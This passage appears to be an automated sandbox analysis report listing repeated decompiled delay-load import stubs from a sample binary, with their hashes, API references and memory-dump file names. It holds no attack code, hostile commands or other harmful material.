Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 89cbcabfc9394c419b3617f93f6419665748192277c57be1b52b94080c195aac
Instruction ID: cf98cc1fb784a8eefb1c9005149e7f867c1e7cefe2e1ee0f2c5176ca2b9de046
Opcode Fuzzy Hash: 89cbcabfc9394c419b3617f93f6419665748192277c57be1b52b94080c195aac
Instruction Fuzzy Hash: 66A001E66BA516BC32687261AD0AD3A422DC4D5B633B4D95AB80A844C1A8A418A9153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025DA61 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025DA61() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ae24); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025da26
0x0025da2b
0x0025da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025DA2B

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2b0330e8cd7ed91dc1b9909fdc9dfcd37ea5c0ca0fc4c8600948230cd0d0e0fb
Instruction ID: 0d104d4551c3389dacec8bc175b5c0eb8315b6cbfde287e80790dff8e8943b63
Opcode Fuzzy Hash: 2b0330e8cd7ed91dc1b9909fdc9dfcd37ea5c0ca0fc4c8600948230cd0d0e0fb
Instruction Fuzzy Hash: 76A011A22BE802BC302822222C02E3B022CC0C2B22330C82EB80280080A8A00C28023A

Uniqueness

Uniqueness Score: -1.00%

Function 0025DA6B Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025DA6B() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ae24); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025da26
0x0025da2b
0x0025da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025DA2B

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0c966ab60ee4f5082f7cdf6d2a111e0b88c6b012133ce27afd813ff7090dbe63
Instruction ID: 0d104d4551c3389dacec8bc175b5c0eb8315b6cbfde287e80790dff8e8943b63
Opcode Fuzzy Hash: 0c966ab60ee4f5082f7cdf6d2a111e0b88c6b012133ce27afd813ff7090dbe63
Instruction Fuzzy Hash: 76A011A22BE802BC302822222C02E3B022CC0C2B22330C82EB80280080A8A00C28023A

Uniqueness

Uniqueness Score: -1.00%

Function 0025DA75 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025DA75() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ae24); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025da26
0x0025da2b
0x0025da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025DA2B

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a265b8de09f9d28198f3d5970b3f76ea22ff773354f7b70b6d2d6faa3d236812
Instruction ID: 0d104d4551c3389dacec8bc175b5c0eb8315b6cbfde287e80790dff8e8943b63
Opcode Fuzzy Hash: a265b8de09f9d28198f3d5970b3f76ea22ff773354f7b70b6d2d6faa3d236812
Instruction Fuzzy Hash: 76A011A22BE802BC302822222C02E3B022CC0C2B22330C82EB80280080A8A00C28023A

Uniqueness

Uniqueness Score: -1.00%

Function 0025DA7F Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025DA7F() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ae44); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025da87
0x0025da8c
0x0025da93

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025DA8C

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b7b213eafea3032c1b2a1425af71f95353c506329763111629cf165835a9308f
Instruction ID: 5850d08321d7ecc14decaebd64e57205104f66c666e2e7fe4e38905545e560f9
Opcode Fuzzy Hash: b7b213eafea3032c1b2a1425af71f95353c506329763111629cf165835a9308f
Instruction Fuzzy Hash: 7BA001A62BA1127E3168A2616D0BD3B422DC4D5B36334D66ABC0594081AAF41C69167A

Uniqueness

Uniqueness Score: -1.00%

Function 0025DA4D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025DA4D() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ae24); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025da26
0x0025da2b
0x0025da32

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025DA2B

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 385a2fdd32b05e8fb40fb0d9c7d271d7ee4ec20921831a383a0cbbafcbb3148a
Instruction ID: 0d104d4551c3389dacec8bc175b5c0eb8315b6cbfde287e80790dff8e8943b63
Opcode Fuzzy Hash: 385a2fdd32b05e8fb40fb0d9c7d271d7ee4ec20921831a383a0cbbafcbb3148a
Instruction Fuzzy Hash: 76A011A22BE802BC302822222C02E3B022CC0C2B22330C82EB80280080A8A00C28023A

Uniqueness

Uniqueness Score: -1.00%

Function 0025DAA4 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025DAA4() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ae44); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025da87
0x0025da8c
0x0025da93

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025DA8C

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3d5b92e06fc83bb4a15a03575f86ecaa4aa1e22c1fb391a2af39e5734cbb0f02
Instruction ID: 53baf085cdf3adc872d560389ba6ac86bcceca3548d59b43598120f7576672c3
Opcode Fuzzy Hash: 3d5b92e06fc83bb4a15a03575f86ecaa4aa1e22c1fb391a2af39e5734cbb0f02
Instruction Fuzzy Hash: 49A001A62BE112BE316862616D0BD3B422DC4D9B72334D96ABC0684081A9F41C69167A

Uniqueness

Uniqueness Score: -1.00%

Function 0025DA9A Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025DA9A() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ae44); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025da87
0x0025da8c
0x0025da93

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025DA8C

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 65500953b152c0a26ce82d20fa2396a697cbb9ec187c140b83d08343f56f253c
Instruction ID: 53baf085cdf3adc872d560389ba6ac86bcceca3548d59b43598120f7576672c3
Opcode Fuzzy Hash: 65500953b152c0a26ce82d20fa2396a697cbb9ec187c140b83d08343f56f253c
Instruction Fuzzy Hash: 49A001A62BE112BE316862616D0BD3B422DC4D9B72334D96ABC0684081A9F41C69167A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D72F Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D72F() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ada4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d6f4
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 97453a43d67c0a5eef519b9888036e0904050586bb00b2ea0ba4554a68df8336
Instruction ID: 8fa740a924861cd88cb598b7b92d5cae3fca44485299939bf5a77703d2fa9d42
Opcode Fuzzy Hash: 97453a43d67c0a5eef519b9888036e0904050586bb00b2ea0ba4554a68df8336
Instruction Fuzzy Hash: 20A002E617A5137C316461516D06D3A511CC4D5B63334D559B8068444594A41C79153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D775 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D775() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ada4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d6f4
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2b5916097c52b0dcd1f56cab3fee7cba7c82ed699a07aa0ae01b376aa03597b2
Instruction ID: 8fa740a924861cd88cb598b7b92d5cae3fca44485299939bf5a77703d2fa9d42
Opcode Fuzzy Hash: 2b5916097c52b0dcd1f56cab3fee7cba7c82ed699a07aa0ae01b376aa03597b2
Instruction Fuzzy Hash: 20A002E617A5137C316461516D06D3A511CC4D5B63334D559B8068444594A41C79153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D7A7 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D7A7() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ada4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d6f4
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5c011a28a342064a5f609d74be0aedb157b1d59009ecbfce4bf02a9f2b2091b0
Instruction ID: 8fa740a924861cd88cb598b7b92d5cae3fca44485299939bf5a77703d2fa9d42
Opcode Fuzzy Hash: 5c011a28a342064a5f609d74be0aedb157b1d59009ecbfce4bf02a9f2b2091b0
Instruction Fuzzy Hash: 20A002E617A5137C316461516D06D3A511CC4D5B63334D559B8068444594A41C79153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D7B1 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D7B1() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ada4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d6f4
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 38f06f9262e21c81e47f1b2b036b75ecfb7f267b44f408edaa7b2ec3d8744f4b
Instruction ID: 8fa740a924861cd88cb598b7b92d5cae3fca44485299939bf5a77703d2fa9d42
Opcode Fuzzy Hash: 38f06f9262e21c81e47f1b2b036b75ecfb7f267b44f408edaa7b2ec3d8744f4b
Instruction Fuzzy Hash: 20A002E617A5137C316461516D06D3A511CC4D5B63334D559B8068444594A41C79153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D7BB Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D7BB() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ada4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d6f4
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a527751b55954df56b641c8c5624e86ce1c8745ef4ff0418d6b8ec3c202a79cf
Instruction ID: 8fa740a924861cd88cb598b7b92d5cae3fca44485299939bf5a77703d2fa9d42
Opcode Fuzzy Hash: a527751b55954df56b641c8c5624e86ce1c8745ef4ff0418d6b8ec3c202a79cf
Instruction Fuzzy Hash: 20A002E617A5137C316461516D06D3A511CC4D5B63334D559B8068444594A41C79153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D793 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D793() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ada4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d6f4
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e0f6fc083b811b8e3531c74c37f4e52499e2d49bd724ae342dadbf781d23caaa
Instruction ID: 8fa740a924861cd88cb598b7b92d5cae3fca44485299939bf5a77703d2fa9d42
Opcode Fuzzy Hash: e0f6fc083b811b8e3531c74c37f4e52499e2d49bd724ae342dadbf781d23caaa
Instruction Fuzzy Hash: 20A002E617A5137C316461516D06D3A511CC4D5B63334D559B8068444594A41C79153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D7E3 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D7E3() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ada4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d6f4
